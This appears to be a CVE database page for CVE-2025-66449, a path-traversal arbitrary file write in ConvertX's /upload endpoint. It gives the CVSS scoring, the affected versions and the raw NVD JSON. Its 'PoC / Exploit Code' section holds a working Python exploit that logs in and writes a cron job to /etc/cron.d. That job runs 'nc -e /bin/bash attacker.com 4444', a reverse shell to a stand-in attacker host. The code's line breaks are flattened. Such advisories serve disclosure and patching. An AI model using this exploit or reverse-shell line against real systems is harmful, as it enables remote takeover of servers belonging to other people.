Security Vulnerability Report
中文
CVE-2025-66449 CVSS 8.8 HIGH

CVE-2025-66449

Published: 2025-12-16 01:15:52
Last Modified: 2026-01-07 20:36:19

Description

ConvertXis a self-hosted online file converter. In versions prior to 0.16.0, the endpoint `/upload` allows an authenticated user to write arbitrary files on the system, overwriting binaries and allowing code execution. The upload function takes `file.name` directly from user supplied data without doing any sanitization on the name thus allowing for arbitrary file write. This can be used to overwrite system binaries with ones provided from an attacker allowing full code execution. Version 0.16.0 contains a patch for the issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:c4illin:convertx:*:*:*:*:*:*:*:* - VULNERABLE
ConvertX < 0.16.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import os # CVE-2025-66449 PoC - ConvertX Arbitrary File Write # Target: ConvertX < 0.16.0 TARGET_URL = "http://target.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/login" UPLOAD_URL = f"{TARGET_URL}/upload" # Authentication credentials USERNAME = "attacker" PASSWORD = "password" def login(session): """Authenticate to ConvertX""" response = session.post(LOGIN_URL, json={ "username": USERNAME, "password": PASSWORD }) return response.status_code == 200 def upload_malicious_file(session, filename, content): """Upload arbitrary file with controlled filename""" files = { 'file': (filename, content, 'application/octet-stream') } response = session.post(UPLOAD_URL, files=files) return response.status_code == 200 def exploit(): """Exploit arbitrary file write to achieve RCE""" session = requests.Session() # Step 1: Login if not login(session): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Overwrite system binary (example: cron) # Path traversal to write to /etc/cron.d/ malicious_cron = "* * * * * root nc -e /bin/bash attacker.com 4444\n" filename = "../../../etc/cron.d/malicious" if upload_malicious_file(session, filename, malicious_cron): print(f"[+] Uploaded malicious file: {filename}") print("[+] Cron job will execute reverse shell") else: print("[-] File upload failed") return True if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66449", "sourceIdentifier": "[email protected]", "published": "2025-12-16T01:15:51.750", "lastModified": "2026-01-07T20:36:18.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ConvertXis a self-hosted online file converter. In versions prior to 0.16.0, the endpoint `/upload` allows an authenticated user to write arbitrary files on the system, overwriting binaries and allowing code execution. The upload function takes `file.name` directly from user supplied data without doing any sanitization on the name thus allowing for arbitrary file write. This can be used to overwrite system binaries with ones provided from an attacker allowing full code execution. Version 0.16.0 contains a patch for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:c4illin:convertx:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.16.0", "matchCriteriaId": "F67602C7-26D1-4477-AE93-85CE2AAE6A3D"}]}]}], "references": [{"url": "https://github.com/C4illin/ConvertX/blob/4ae2aab66ace7cdcc14c5a16ecaaf2372b9ccbdf/src/pages/upload.tsx#L27-L30", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/C4illin/ConvertX/commit/550f472451755d095cf5802bc91f403e85b7129e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/C4illin/ConvertX/security/advisories/GHSA-cpww-gwgc-p72r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/C4illin/ConvertX/security/advisories/GHSA-cpww-gwgc-p72r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}